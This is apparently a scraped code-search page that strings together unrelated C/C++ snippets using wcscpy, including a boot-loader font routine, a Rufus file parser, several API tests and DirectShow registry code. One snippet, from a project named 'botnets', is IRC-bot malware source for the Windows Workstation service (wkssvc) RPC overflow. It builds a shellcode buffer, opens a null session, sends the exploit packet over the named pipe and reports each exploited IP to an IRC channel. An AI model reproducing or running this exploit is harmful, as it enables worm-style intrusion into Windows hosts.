        RtlCopyMemory(&LibraryParameters,
                      &BlpLibraryParameters,
                      sizeof(LibraryParameters)),
        FontDirectory = LibraryParameters.FontBaseDirectory;
    }

    /* Do we still not have a font directory? */
    if (!FontDirectory)
    {
        /* Use the boot device and boot directory */
        FontDevice = BlpBootDevice;
        FontDirectory = L"\\EFI\\Microsoft\\Boot\\Fonts";
        CustomDevice = FALSE;
    }
    else
    {
        /* Otherwise, if we have a font directory, what device is the app on? */
        Status = BlGetBootOptionDevice(BlpApplicationEntry.BcdData,
                                       BcdLibraryDevice_ApplicationDevice,
                                       &FontDevice,
                                       NULL);
        if (!NT_SUCCESS(Status))
        {
            /* If we don't know the device, we can't open the path */
            goto Quickie;
        }
    }

    /* Figure out the length of the file name, and of the directory */
    NameLength = wcslen(FontFileName);
    DirectoryLength = wcslen(FontDirectory);

    /* Safely add them up*/
    Status = RtlULongAdd(NameLength, DirectoryLength, &TotalLength);
    if (!NT_SUCCESS(Status))
    {
        goto Quickie;
    }

    /* Convert to bytes */
    Status = RtlULongLongToULong(TotalLength * sizeof(WCHAR), &TotalLength);
    if (!NT_SUCCESS(Status))
    {
        goto Quickie;
    }

    /* Add a terminating NUL */
    Status = RtlULongAdd(TotalLength, sizeof(UNICODE_NULL), &TotalLength);
    if (!NT_SUCCESS(Status))
    {
        goto Quickie;
    }

    /* Allocate the final buffer for it */
    FontPath = BlMmAllocateHeap(TotalLength);
    if (!FontPath)
    {
        Status = STATUS_NO_MEMORY;
        goto Quickie;
    }

    /* Concatenate the directory with the file name */
    wcscpy(FontPath, FontDirectory);
    wcscat(FontPath, FontFileName);

    /* Try to load this font */
    Status = BfLoadFontFile(FontDevice, FontPath);

Quickie:
    /* Check if we had a custom font device allocated and free it */
    if ((CustomDevice) && (FontDevice))
    {
        BlMmFreeHeap(FontDevice);
    }

    /* Check if we had a custom font directory allocated and free it */
    if ((FontDirectory) && (CustomDirectory))
    {
        BlMmFreeHeap(FontDirectory);
    }

    /* Check if we had allocated a font path and free it */
    if (FontPath)
    {
        BlMmFreeHeap(FontPath);
    }

    /* Return back */
    return Status;
}
示例#8
0
文件: parser.c 项目: aienkel/rufus
/*
 * Search for a specific 'src' substring data for all occurrences of 'token', and replace
 * it with 'rep'. File can be ANSI or UNICODE and is overwritten. Parameters are UTF-8.
 * The parsed line is of the form: [ ]token[ ]data
 * Returns a pointer to rep if replacement occurred, NULL otherwise
 */
char* replace_in_token_data(const char* filename, const char* token, const char* src, const char* rep, BOOL dos2unix)
{
	const wchar_t* outmode[] = { L"w", L"w, ccs=UTF-8", L"w, ccs=UTF-16LE" };
	wchar_t *wtoken = NULL, *wfilename = NULL, *wtmpname = NULL, *wsrc = NULL, *wrep = NULL, bom = 0;
	wchar_t buf[1024], *torep;
	FILE *fd_in = NULL, *fd_out = NULL;
	size_t i, size;
	int mode;
	char *ret = NULL, tmp[2];

	if ((filename == NULL) || (token == NULL) || (src == NULL) || (rep == NULL))
		return NULL;
	if ((filename[0] == 0) || (token[0] == 0) || (src[0] == 0) || (rep[0] == 0))
		return NULL;
	if (strcmp(src, rep) == 0)	// No need for processing is source is same as replacement
		return NULL;

	wfilename = utf8_to_wchar(filename);
	if (wfilename == NULL) {
		uprintf("Could not convert '%s' to UTF-16\n", filename);
		goto out;
	}
	wtoken = utf8_to_wchar(token);
	if (wfilename == NULL) {
		uprintf("Could not convert '%s' to UTF-16\n", token);
		goto out;
	}
	wsrc = utf8_to_wchar(src);
	if (wsrc == NULL) {
		uprintf("Could not convert '%s' to UTF-16\n", src);
		goto out;
	}
	wrep = utf8_to_wchar(rep);
	if (wsrc == NULL) {
		uprintf("Could not convert '%s' to UTF-16\n", rep);
		goto out;
	}

	fd_in = _wfopen(wfilename, L"r, ccs=UNICODE");
	if (fd_in == NULL) {
		uprintf("Could not open file '%s'\n", filename);
		goto out;
	}
	// Check the input file's BOM and create an output file with the same
	fread(&bom, sizeof(bom), 1, fd_in);
	switch(bom) {
	case 0xFEFF:
		mode = 2;	// UTF-16 (LE)
		break;
	case 0xBBEF:	// Yeah, the UTF-8 BOM is really 0xEF,0xBB,0xBF, but
		mode = 1;	// find me a non UTF-8 file that actually begins with "ï»"
		break;
	default:
		mode = 0;	// ANSI
		break;
	}
	fseek(fd_in, 0, SEEK_SET);
//	uprintf("'%s' was detected as %s\n", filename, 
//		(mode==0)?"ANSI/UTF8 (no BOM)":((mode==1)?"UTF8 (with BOM)":"UTF16 (with BOM"));


	wtmpname = (wchar_t*)calloc(wcslen(wfilename)+2, sizeof(wchar_t));
	if (wtmpname == NULL) {
		uprintf("Could not allocate space for temporary output name\n");
		goto out;
	}
	wcscpy(wtmpname, wfilename);
	wtmpname[wcslen(wtmpname)] = '~';

	fd_out = _wfopen(wtmpname, outmode[mode]);
	if (fd_out == NULL) {
		uprintf("Could not open temporary output file '%s~'\n", filename);
		goto out;
	}

	// Process individual lines. NUL is always appended.
	while (fgetws(buf, ARRAYSIZE(buf), fd_in) != NULL) {

		i = 0;

		// Skip leading spaces
		i += wcsspn(&buf[i], wspace);

		// Our token should begin a line
		if (_wcsnicmp(&buf[i], wtoken, wcslen(wtoken)) != 0) {
			fputws(buf, fd_out);
			continue;
		}

		// Token was found, move past token
		i += strlen(token);

		// Skip spaces
		i += wcsspn(&buf[i], wspace);

		torep = wcsstr(&buf[i], wsrc);
		if (torep == NULL) {
			fputws(buf, fd_out);
			continue;
		}

		i = (torep-buf) + wcslen(wsrc);
		*torep = 0;
		fwprintf(fd_out, L"%s%s%s", buf, wrep, &buf[i]);
		ret = (char*)rep;
	}

out:
	if (fd_in != NULL) fclose(fd_in);
	if (fd_out != NULL) fclose(fd_out);

	// If a replacement occurred, delete existing file and use the new one
	if (ret != NULL) {
		// We're in Windows text mode => Remove CRs if requested
		fd_in = _wfopen(wtmpname, L"rb");
		fd_out = _wfopen(wfilename, L"wb");
		// Don't check fds
		if ((fd_in != NULL) && (fd_out != NULL)) {
			size = (mode==2)?2:1;
			while(fread(tmp, size, 1, fd_in) == 1) {
				if ((!dos2unix) || (tmp[0] != 0x0D))
					fwrite(tmp, size, 1, fd_out);
			}
			fclose(fd_in);
			fclose(fd_out);
		} else {
			uprintf("Could not write '%s' - original file has been left unmodified.\n", filename);
			ret = NULL;
			if (fd_in != NULL) fclose(fd_in);
			if (fd_out != NULL) fclose(fd_out);
		}
	}
	_wunlink(wtmpname);
	safe_free(wfilename);
	safe_free(wtmpname);
	safe_free(wtoken);
	safe_free(wsrc);
	safe_free(wrep);

	return ret;
}
示例#9
0
文件: test1.cpp 项目: 0-wiz-0/coreclr
/* This function takes a structure and checks that the information 
   within the structure is correct.  The 'Attribs' are the expected 
   file attributes, 'TheType' is IS_DIR or IS_FILE and the 'Name' is the
   name of the file/directory in question.
*/
void VerifyInfo(WIN32_FILE_ATTRIBUTE_DATA InfoStruct, 
                DWORD Attribs, ItemType TheType, WCHAR* Name) 
{
    HANDLE hFile; 
    FILETIME CorrectCreation, CorrectAccess, CorrectModify;
    WCHAR CopyName[64];

    wcscpy(CopyName,Name);
    free(Name);

    /* Check to see that the file attributes were recorded */
    if(InfoStruct.dwFileAttributes != Attribs)
    {
        Fail("ERROR: The file attributes on the file/directory were "
             "recorded as being %d instead of %d.\n", 
             InfoStruct.dwFileAttributes, 
             Attribs);
    }
    
    /* Note: We can't open a handle to a directory in windows.  This 
       block of tests will only be run on files.
    */
    if(TheType == IS_FILE) 
    {

        /* Get a handle to the file */
        hFile = CreateFile(CopyName, 
                           0,            
                           0,           
                           NULL,                     
                           OPEN_EXISTING,              
                           FILE_ATTRIBUTE_NORMAL,   
                           NULL);                    
 
        if (hFile == INVALID_HANDLE_VALUE) 
        { 
            Fail("ERROR: Could not open a handle to the file "
                 "'%S'.  GetLastError() returned %d.",CopyName, 
                 GetLastError()); 
        }


    
        /* Get the FileTime of the file in question */
        if(GetFileTime(hFile, &CorrectCreation, 
                       &CorrectAccess, &CorrectModify) == 0)
        {
            Fail("ERROR: GetFileTime failed to get the filetime of the "
                 "file.  GetLastError() returned %d.",
                 GetLastError());
        }
    
        /* Check that the Creation, Access and Last Modified times are all 
           the same in the structure as what GetFileTime just returned.
        */
        if(!IsEqualFileTime(CorrectCreation, InfoStruct.ftCreationTime)) 
        {
            Fail("ERROR: The creation time of the file "
                 "does not match the creation time given from "
                 "GetFileTime.\n");
        }
        if(!IsEqualFileTime(CorrectAccess, InfoStruct.ftLastAccessTime)) 
        {
            Fail("ERROR: The access time of the file  "
                 "does not match the access time given from "
                 "GetFileTime.\n");
        }   
        if(!IsEqualFileTime(CorrectModify, InfoStruct.ftLastWriteTime)) 
        {
            Fail("ERROR: The write time of the file "
                 "does not match the last write time given from "
                 "GetFileTime.\n");
        }
 
        if(InfoStruct.nFileSizeLow != GetFileSize(hFile,NULL))
        {
            Fail("ERROR: The file size reported by GetFileAttributesEx "
                 "did not match the file size given by GetFileSize.\n");
        }
        
        if(CloseHandle(hFile) == 0)
        {
            Fail("ERROR: Failed to properly close the handle to the "
                 "file we're testing.  GetLastError() returned %d.\n",
                 GetLastError());
            
        }

    }
    

}
示例#10
0
文件: wkssvc.cpp 项目: hazcod/botnets
BOOL ScriptGod_WKSSVC( unsigned long nTargetID, EXINFO exinfo )
{
	int TargetOS;
	char szShellBuf[ 512 ];
	int iShellSize;

	// =============================
	char* pszTarget;
	// ---
	char szNetbiosTarget[ 8192 ];
	wchar_t wszNetbiosTarget[ 8192 ];
	unsigned char szShellcodeEncoded[ ( sizeof( szShellBuf ) * 2 ) + 1 ];
	unsigned char szExploitsData[ 3500 ];
	unsigned long nExploitsDataPos;
	wchar_t wszExploitsData[ sizeof( szExploitsData ) ];
	// ---
	char szIPC[ 8192 ];
	NETRESOURCE NetSource;
	// ---
	char szPipe[ 8192 ];
	HANDLE hPipe;
	// ---
	RPC_ReqBind BindPacket;
	unsigned long nBytesWritten;
	RPC_ReqNorm ReqNormalHeader;
	unsigned long nPacketSize;
	unsigned char* pPacket;
	unsigned long nPacketPos;
	// ============================

	// check if xp
	TargetOS = FpHost( exinfo.ip, FP_RPC );
	if( TargetOS != OS_WINXP )
		return FALSE;

	// parameters
	pszTarget = exinfo.ip;

	// get shellcode
	iShellSize = GetRNS0TerminatedShellcode( szShellBuf, sizeof( szShellBuf ), GetIP( exinfo.sock ), filename );
	if( !iShellSize )
		return FALSE;

	// generate exploits buffer
	// ========================
	memset( szShellcodeEncoded, 0, sizeof( szShellcodeEncoded ) );
	memset( szExploitsData, 0, sizeof( szExploitsData ) );
	memset( wszExploitsData, 0, sizeof( wszExploitsData ) );

	// fill with NOPs (using inc ecx instead of NOP, 0-terminated-string)
	memset( szExploitsData, 'A', sizeof( szExploitsData ) - 1 );

	// new EIP
	*(unsigned long*)( &szExploitsData[ Targets[ nTargetID ].nNewEIP_BufferOffset ] ) = Targets[ nTargetID ].nNewEIP;

	// some NOPs
	nExploitsDataPos = 2300;

	// add stack
	memcpy( &szExploitsData[ nExploitsDataPos ], szStack, sizeof( szStack ) - 1 );
	nExploitsDataPos += sizeof( szStack ) - 1;

	// add decoder
	memcpy( &szExploitsData[ nExploitsDataPos ], szDecoder, sizeof( szDecoder ) - 1 );
	nExploitsDataPos += sizeof( szDecoder ) - 1;

	// add shellcode
	// - bind port
	// - encode
	Encode( (unsigned char*)szShellBuf, iShellSize, szShellcodeEncoded );
	// - add
	memcpy( &szExploitsData[ nExploitsDataPos ], szShellcodeEncoded, strlen( (char*)szShellcodeEncoded ) );
	nExploitsDataPos += strlen( (char*)szShellcodeEncoded );
	// - 0 terminaten for decoder
	szExploitsData[ nExploitsDataPos ] = 0;
	nExploitsDataPos += 1;

	// convert to UNICODE
	// ==================
	for( int n = 0; n < sizeof( szExploitsData ); n++ )
		wszExploitsData[ n ] = szExploitsData[ n ];
	//MultiByteToWideChar( CP_ACP, 0, (char*)szExploitsData, -1, wszExploitsData, sizeof( wszExploitsData ) / sizeof( wchar_t ) );
	snprintf( szNetbiosTarget, sizeof( szNetbiosTarget ), "\\\\%s", pszTarget );
	mbstowcs( wszNetbiosTarget, szNetbiosTarget, sizeof( wszNetbiosTarget ) / sizeof( wchar_t ) );

	// create NULL session
	// ===================
	if( strcmpi( pszTarget, "." ) )
	{
		snprintf( szIPC, sizeof( szIPC ), "\\\\%s\\ipc$", pszTarget );
		memset( &NetSource, 0 ,sizeof( NetSource ) );
		NetSource.lpRemoteName = szIPC;
		fWNetAddConnection2( &NetSource, "", "", 0 );
	}
	// ===================

	// connect to pipe
	// ===============
	snprintf( szPipe, sizeof( szPipe ), "\\\\%s\\pipe\\wkssvc", pszTarget );
	hPipe = CreateFile( szPipe, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL );
	if( hPipe == INVALID_HANDLE_VALUE )
	{
		fWNetCancelConnection2( NetSource.lpRemoteName, 0, FALSE );
		return FALSE;
	}
	// ===============

	// bind packet
	// ===========
	memset( &BindPacket, 0, sizeof( BindPacket ) );
	BindPacket.NormalHeader.versionmaj		= 5;
	BindPacket.NormalHeader.versionmin		= 0;
	BindPacket.NormalHeader.type			= 11;	// bind
	BindPacket.NormalHeader.flags			= 3;	// first + last fragment
	BindPacket.NormalHeader.representation	= 0x00000010; // little endian
	BindPacket.NormalHeader.fraglength		= sizeof( BindPacket );
	BindPacket.NormalHeader.authlength		= 0;
	BindPacket.NormalHeader.callid			= 1;
	BindPacket.maxtsize						= 4280;
	BindPacket.maxrsize						= 4280;
	BindPacket.assocgid						= 0;
	BindPacket.numelements					= 1;
	BindPacket.contextid					= 0;
	BindPacket.numsyntaxes					= 1;
	BindPacket.Interface1.version			= 1;
	memcpy( BindPacket.Interface1.byte, "\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x46\xc3\xf8\x7e\x34\x5a", 16 );
	BindPacket.Interface2.version			= 2;
	memcpy( BindPacket.Interface2.byte, "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60", 16 );

	// send
	if( !WriteFile( hPipe, &BindPacket, sizeof( RPC_ReqBind ), &nBytesWritten, NULL ) )
	{
		CloseHandle( hPipe );
		fWNetCancelConnection2( NetSource.lpRemoteName, 0, FALSE );
		return FALSE;
	}
	// ===========

	// request
	// =======
	// generate packet
	// ---------------

	// calc packet size
	nPacketSize = 0;
	nPacketSize += sizeof( szWKSSVCUnknown1 ) - 1;
	nPacketSize += sizeof( UNISTR2 );
	nPacketSize += ( wcslen( wszNetbiosTarget ) + 1 ) * sizeof( wchar_t );
	while( nPacketSize % 4 )
		nPacketSize++;
	if( Targets[ nTargetID ].bCanUse_NetAddAlternateComputerName )
		nPacketSize += sizeof( szWKSSVCUnknown2 ) - 1;
	nPacketSize += sizeof( UNISTR2 );
	nPacketSize += ( wcslen( wszExploitsData ) + 1 ) * sizeof( wchar_t );
	while( nPacketSize % 4 )
		nPacketSize++;
	nPacketSize += 8; // szWSSKVCUnknown3
	if( Targets[ nTargetID ].bCanUse_NetAddAlternateComputerName )
		nPacketSize += 4; // NetAddAlternateComputerName = reserved
	else
		nPacketSize += 2; // NetValidateName = NameType

	// alloc packet
	pPacket = (unsigned char*)malloc( nPacketSize );
	if( !pPacket )
	{
		CloseHandle( hPipe );
		fWNetCancelConnection2( NetSource.lpRemoteName, 0, FALSE );
		return FALSE;
	}
	memset( pPacket, 0, nPacketSize );

	// build packet
	nPacketPos = 0;

	// - szWKSSVCUnknown1
	memcpy( &pPacket[ nPacketPos ], szWKSSVCUnknown1, sizeof( szWKSSVCUnknown1 ) - 1 );
	nPacketPos += sizeof( szWKSSVCUnknown1 ) - 1;

	// - wszNetbiosTarget
	( (UNISTR2*)&pPacket[ nPacketPos ] )->length	= wcslen( wszNetbiosTarget ) + 1;
	( (UNISTR2*)&pPacket[ nPacketPos ] )->unknown	= 0;
	( (UNISTR2*)&pPacket[ nPacketPos ] )->maxlength	= ( (UNISTR2*)&pPacket[ nPacketPos ] )->length;
	nPacketPos += sizeof( UNISTR2 );

	wcscpy( (wchar_t*)&pPacket[ nPacketPos ], wszNetbiosTarget );
	nPacketPos += ( wcslen( wszNetbiosTarget ) + 1 ) * sizeof( wchar_t );

	// - align
	while( nPacketPos % 4 )
		nPacketPos++;

	// - szWKSSVCUnknown2
	if( Targets[ nTargetID ].bCanUse_NetAddAlternateComputerName )
	{
		memcpy( &pPacket[ nPacketPos ], szWKSSVCUnknown2, sizeof( szWKSSVCUnknown2 ) - 1 );
		nPacketPos += sizeof( szWKSSVCUnknown2 ) - 1;
	}

	// - wszExploitsData
	( (UNISTR2*)&pPacket[ nPacketPos ] )->length	= wcslen( wszExploitsData ) + 1;
	( (UNISTR2*)&pPacket[ nPacketPos ] )->unknown	= 0;
	( (UNISTR2*)&pPacket[ nPacketPos ] )->maxlength	= ( (UNISTR2*)&pPacket[ nPacketPos ] )->length;
	nPacketPos += sizeof( UNISTR2 );

	wcscpy( (wchar_t*)&pPacket[ nPacketPos ], wszExploitsData );
	nPacketPos += ( wcslen( wszExploitsData ) + 1 ) * sizeof( wchar_t );

	// - align
	while( nPacketPos % 4 )
		nPacketPos++;

	// - szWSSKVCUnknown3 (only eigth 0x00s)
	memset( &pPacket[ nPacketPos ], 0, 8 );
	nPacketPos += 8;

	if( Targets[ nTargetID ].bCanUse_NetAddAlternateComputerName )
	{
		// NetAddAlternateComputerName = 0
		*(DWORD*)&pPacket[ nPacketPos ] = 0;
		nPacketPos += sizeof( DWORD );
	}
	else
	{
		// NetValidateName = NetSetupMachine
		*(unsigned short*)&pPacket[ nPacketPos ] = 1;
		nPacketPos += 2;
	}

	// header
	memset( &ReqNormalHeader, 0, sizeof( ReqNormalHeader ) );
	ReqNormalHeader.NormalHeader.versionmaj		= 5;
	ReqNormalHeader.NormalHeader.versionmin		= 0;
	ReqNormalHeader.NormalHeader.type			= 0;	// request
	ReqNormalHeader.NormalHeader.flags			= 3;	// first + last fragment
	ReqNormalHeader.NormalHeader.representation	= 0x00000010; // little endian
	ReqNormalHeader.NormalHeader.authlength		= 0;
	ReqNormalHeader.NormalHeader.callid			= 1;
	ReqNormalHeader.prescontext					= 0;
	if( Targets[ nTargetID ].bCanUse_NetAddAlternateComputerName )
		ReqNormalHeader.opnum					= 27;	// NetrAddAlternateComputerName
	else
		ReqNormalHeader.opnum					= 25;	// NetrValidateName2
	// send
	if( !SendReqPacket_Part( hPipe, ReqNormalHeader, pPacket, nPacketSize, 4280, true ) )
	{
		CloseHandle( hPipe );
		free( pPacket );
		fWNetCancelConnection2( NetSource.lpRemoteName, 0, FALSE );
		return FALSE;
	}
	// =======

	// clean up
	// =================;
	CloseHandle( hPipe );
	free( pPacket );
	fWNetCancelConnection2( NetSource.lpRemoteName, 0, FALSE );

	char buffer[ IRCLINE ];
	_snprintf(buffer, sizeof(buffer), "[%s]: Exploiting IP: %s.", exploit[exinfo.exploit].name, exinfo.ip);
	irc_privmsg(exinfo.sock, exinfo.chan, buffer, exinfo.notice);
	addlog(buffer);
	exploit[exinfo.exploit].stats++;

	return TRUE;
}
示例#11
0
ATF_TC_BODY(wcsnrtombs_test, tc)
{
	wchar_t srcbuf[128];
	char dstbuf[128];
	wchar_t *src;
	mbstate_t s;

	/* C/POSIX locale. */

	/* Simple null terminated string. */
	wmemset(srcbuf, 0xcc, sizeof(srcbuf) / sizeof(*srcbuf));
	wcscpy(srcbuf, L"hello");
	memset(dstbuf, 0xcc, sizeof(dstbuf));
	src = srcbuf;
	memset(&s, 0, sizeof(s));
	ATF_REQUIRE(wcsnrtombs(dstbuf, (const wchar_t **)&src, 6, sizeof(dstbuf),
	    &s) == 5);
	ATF_REQUIRE(strcmp(dstbuf, "hello") == 0);
	ATF_REQUIRE((unsigned char)dstbuf[6] == 0xcc);
	ATF_REQUIRE(src == NULL);

	/* Simple null terminated string, stopping early. */
	wmemset(srcbuf, 0xcc, sizeof(srcbuf) / sizeof(*srcbuf));
	wcscpy(srcbuf, L"hello");
	memset(dstbuf, 0xcc, sizeof(dstbuf));
	src = srcbuf;
	memset(&s, 0, sizeof(s));
	ATF_REQUIRE(wcsnrtombs(dstbuf, (const wchar_t **)&src, 4, sizeof(dstbuf),
	    &s) == 4);
	ATF_REQUIRE(memcmp(dstbuf, "hell", 4) == 0);
	ATF_REQUIRE((unsigned char)dstbuf[5] == 0xcc);
	ATF_REQUIRE(src == srcbuf + 4);

	/* Not enough space in destination buffer. */
	wmemset(srcbuf, 0xcc, sizeof(srcbuf) / sizeof(*srcbuf));
	wcscpy(srcbuf, L"hello");
	memset(dstbuf, 0xcc, sizeof(dstbuf));
	src = srcbuf;
	memset(&s, 0, sizeof(s));
	ATF_REQUIRE(wcsnrtombs(dstbuf, (const wchar_t **)&src, 6, 4,
	    &s) == 4);
	ATF_REQUIRE(memcmp(dstbuf, "hell", 4) == 0);
	ATF_REQUIRE((unsigned char)dstbuf[5] == 0xcc);
	ATF_REQUIRE(src == srcbuf + 4);

	/* Null terminated string, internal dest. buffer */
	wmemset(srcbuf, 0xcc, sizeof(srcbuf) / sizeof(*srcbuf));
	wcscpy(srcbuf, L"hello");
	src = srcbuf;
	memset(&s, 0, sizeof(s));
	ATF_REQUIRE(wcsnrtombs(NULL, (const wchar_t **)&src, 6, sizeof(dstbuf),
	    &s) == 5);

	/* Null terminated string, internal dest. buffer, stopping early. */
	wmemset(srcbuf, 0xcc, sizeof(srcbuf) / sizeof(*srcbuf));
	wcscpy(srcbuf, L"hello");
	src = srcbuf;
	memset(&s, 0, sizeof(s));
	ATF_REQUIRE(wcsnrtombs(NULL, (const wchar_t **)&src, 4, sizeof(dstbuf),
	    &s) == 4);

	/* Null terminated string, internal state. */
	wmemset(srcbuf, 0xcc, sizeof(srcbuf) / sizeof(*srcbuf));
	wcscpy(srcbuf, L"hello");
	memset(dstbuf, 0xcc, sizeof(dstbuf));
	src = srcbuf;
	ATF_REQUIRE(wcsnrtombs(dstbuf, (const wchar_t **)&src, 6, sizeof(dstbuf),
	    NULL) == 5);
	ATF_REQUIRE(strcmp(dstbuf, "hello") == 0);
	ATF_REQUIRE((unsigned char)dstbuf[6] == 0xcc);
	ATF_REQUIRE(src == NULL);

	/* Null terminated string, internal state, internal dest. buffer. */
	wmemset(srcbuf, 0xcc, sizeof(srcbuf) / sizeof(*srcbuf));
	wcscpy(srcbuf, L"hello");
	src = srcbuf;
	ATF_REQUIRE(wcsnrtombs(NULL, (const wchar_t **)&src, 6, 0, NULL) == 5);

	/* Empty source buffer. */
	wmemset(srcbuf, 0xcc, sizeof(srcbuf) / sizeof(*srcbuf));
	srcbuf[0] = L'\0';
	memset(dstbuf, 0xcc, sizeof(dstbuf));
	src = srcbuf;
	memset(&s, 0, sizeof(s));
	ATF_REQUIRE(wcsnrtombs(dstbuf, (const wchar_t **)&src, 1, sizeof(dstbuf),
	    &s) == 0);
	ATF_REQUIRE(dstbuf[0] == L'\0');

	/* Zero length destination buffer. */
	wmemset(srcbuf, 0xcc, sizeof(srcbuf) / sizeof(*srcbuf));
	wcscpy(srcbuf, L"hello");
	memset(dstbuf, 0xcc, sizeof(dstbuf));
	src = srcbuf;
	memset(&s, 0, sizeof(s));
	ATF_REQUIRE(wcsnrtombs(dstbuf, (const wchar_t **)&src, 6, 0, &s) == 0);
	ATF_REQUIRE((unsigned char)dstbuf[0] == 0xcc);

	/* Zero length source buffer. */
	wmemset(srcbuf, 0xcc, sizeof(srcbuf) / sizeof(*srcbuf));
	memset(dstbuf, 0xcc, sizeof(dstbuf));
	src = srcbuf;
	memset(&s, 0, sizeof(s));
	ATF_REQUIRE(wcsnrtombs(dstbuf, (const wchar_t **)&src, 0, sizeof(dstbuf),
	    &s) == 0);
	ATF_REQUIRE((unsigned char)dstbuf[0] == 0xcc);
	ATF_REQUIRE(src == srcbuf);

	/*
	 * Japanese (EUC) locale.
	 */

	ATF_REQUIRE(strcmp(setlocale(LC_CTYPE, "ja_JP.eucJP"), "ja_JP.eucJP") == 0);
	ATF_REQUIRE(MB_CUR_MAX > 1);

	wmemset(srcbuf, 0xcc, sizeof(srcbuf) / sizeof(*srcbuf));
	srcbuf[0] = 0xA3C1;
	srcbuf[1] = 0x0020;
	srcbuf[2] = 0x0042;
	srcbuf[3] = 0x0020;
	srcbuf[4] = 0xA3C3;
	srcbuf[5] = 0x0000;
	memset(dstbuf, 0xcc, sizeof(dstbuf));
	src = srcbuf;
	memset(&s, 0, sizeof(s));
	ATF_REQUIRE(wcsnrtombs(dstbuf, (const wchar_t **)&src, 6, sizeof(dstbuf),
	    &s) == 7);
	ATF_REQUIRE(strcmp(dstbuf, "\xA3\xC1 B \xA3\xC3") == 0);
	ATF_REQUIRE((unsigned char)dstbuf[8] == 0xcc);
	ATF_REQUIRE(src == NULL);

	/* Stopping early. */
	memset(dstbuf, 0xcc, sizeof(dstbuf));
	src = srcbuf;
	memset(&s, 0, sizeof(s));
	ATF_REQUIRE(wcsnrtombs(dstbuf, (const wchar_t **)&src, 6, 6,
	    &s) == 5);
	ATF_REQUIRE(memcmp(dstbuf, "\xA3\xC1 B ", 5) == 0);
	ATF_REQUIRE((unsigned char)dstbuf[5] == 0xcc);
	ATF_REQUIRE(src == srcbuf + 4);
}
示例#12
0
//
// Add entry to the registry about CLSID object 
//
void MultiVMRRegisterClass( 
                           const CLSID& clsid, 
                           WCHAR *achClassName,
                           BOOL bRegister)
{
    HRESULT hr = S_OK;
    TCHAR achModule[MAX_PATH];
    WCHAR wcModule[MAX_PATH];
    WCHAR wcKey[MAX_PATH];
    TCHAR achKey[MAX_PATH];
    TCHAR achThreadingModel[] = TEXT("Both");
    long err = 0;
    LPOLESTR wcCLSID = NULL;
    HKEY hKey = NULL;
    HKEY hSubKey = NULL;

    GetModuleFileName( g_hInst, achModule, sizeof(achModule) );

#ifdef UNICODE
    wcscpy( wcModule, achModule );
#else
    MultiByteToWideChar(CP_ACP, 0, achModule, -1, wcModule, MAX_PATH); 
#endif

    hr = StringFromCLSID(clsid, &wcCLSID);

    wcscpy( wcKey, L"CLSID\\");
    wcscat( wcKey, wcCLSID);

#ifdef UNICODE
    _tcscpy( achKey, wcKey);
#else
    WideCharToMultiByte(CP_ACP, 0, wcKey, -1, achKey, MAX_PATH, 0, 0);
#endif

    // first, delete wcKey if it exists
    err = recursiveDeleteKey( HKEY_CLASSES_ROOT, achKey);

    if( bRegister )
    {
        // create new key
        err = RegCreateKeyEx(   HKEY_CLASSES_ROOT,
                                achKey, 
                                NULL, 
                                NULL, 
                                REG_OPTION_NON_VOLATILE, 
                                KEY_ALL_ACCESS, 
                                NULL, 
                                &hKey, 
                                NULL);
        if (ERROR_SUCCESS == err)
        {
            err = RegSetValueEx( hKey, NULL, 0, REG_SZ,(BYTE *)achClassName, 
                                    sizeof(TCHAR) * ( _tcslen(achClassName)+1));
            err = RegCreateKeyEx(   hKey, 
                                    TEXT("InprocServer32"), 
                                    NULL,
                                    NULL,
                                    REG_OPTION_NON_VOLATILE, 
                                    KEY_ALL_ACCESS, 
                                    NULL, 
                                    &hSubKey, 
                                    NULL);
            if( ERROR_SUCCESS == err)
            {
                err = RegSetValueEx( hSubKey, NULL, 0, REG_SZ,(BYTE *)achModule, 
                                    sizeof(TCHAR) * ( _tcslen(achModule)+1));
                err = RegSetValueEx( hSubKey, TEXT("ThreadingModel"), 0, REG_SZ,(BYTE *)achThreadingModel, 
                                    sizeof(TCHAR) * ( _tcslen(achThreadingModel)+1));
                RegCloseKey( hSubKey );
            }
            RegCloseKey( hKey );
        }
    }
    CoTaskMemFree(wcCLSID);
}
示例#13
0
文件: test.cpp 项目: abma/ResIL
void testSavers2(ILenum type, const TCHAR* targetName, const TCHAR* targetExt)
{
	TCHAR targetFN[MAX_PATH];

	// Test ilSave
	_tcscpy(targetFN, targetName);
	_tcscat(targetFN, L".ilSave.");
	_tcscat(targetFN, targetExt);
	DWORD t1 = GetTickCount();
	if (!ilSave(type, targetFN)) {
		printf("testSavers2: Failed to save " PathCharMod " using ilSave\n", targetFN);
		++errors;
	}
	DWORD t2 = GetTickCount();
	printf(PathCharMod " using ilSave: %i ms\n", targetFN, t2-t1);

	// Test ilSaveF
	_tcscpy(targetFN, targetName);
	_tcscat(targetFN, L".ilSaveF.");
	_tcscat(targetFN, targetExt);
	FILE* file = _wfopen(targetFN, L"wb");
	if (!ilSaveF(type, file)) {
		printf("testSavers2: Failed to save " PathCharMod " using ilSaveF\n", targetFN);
		++errors;
	}
	fclose(file);

	// Test ilSaveL
	_tcscpy(targetFN, targetName);
	_tcscat(targetFN, L"ilSaveL.");
	_tcscat(targetFN, targetExt);
	size_t lumpSize = ilDetermineSize(type);
	BYTE* lump = new BYTE[lumpSize];
	ILuint writtenToLump = ilSaveL(type, lump, lumpSize);
	if (writtenToLump > 0) {
		FILE* file = _wfopen(targetFN, L"wb");
		size_t writtenToFile = fwrite(lump, 1, lumpSize, file);
		if (writtenToLump != writtenToFile) {
			printf("testSavers2: Failed to write " PathCharMod " after ilSaveL\n", targetFN);
			++errors;
		}
		fclose(file);
	} else {
		printf("testSavers2: Failed to save " PathCharMod " using ilSaveL\n", targetFN);
		++errors;
	}
	delete lump;

	// Test ilSaveFuncs
	wcscpy(targetFN, targetName);
	wcscat(targetFN, L".ilSaveFuncs.");
	wcscat(targetFN, targetExt);
	writeFile = _wfopen(targetFN, L"wb");
	if (writeFile != NULL) {
		ilSetWrite(NULL, NULL, myPutc, mySeek, myTell, myWrite);
		if (!ilSaveFuncs(type))
			printf("testSavers2: Failed to save " PathCharMod " using ilSave\n", targetFN);
		fclose(writeFile);
	} else
		printf("testSavers2: Failed to open " PathCharMod " for writing\n", targetFN);
}
示例#14
0
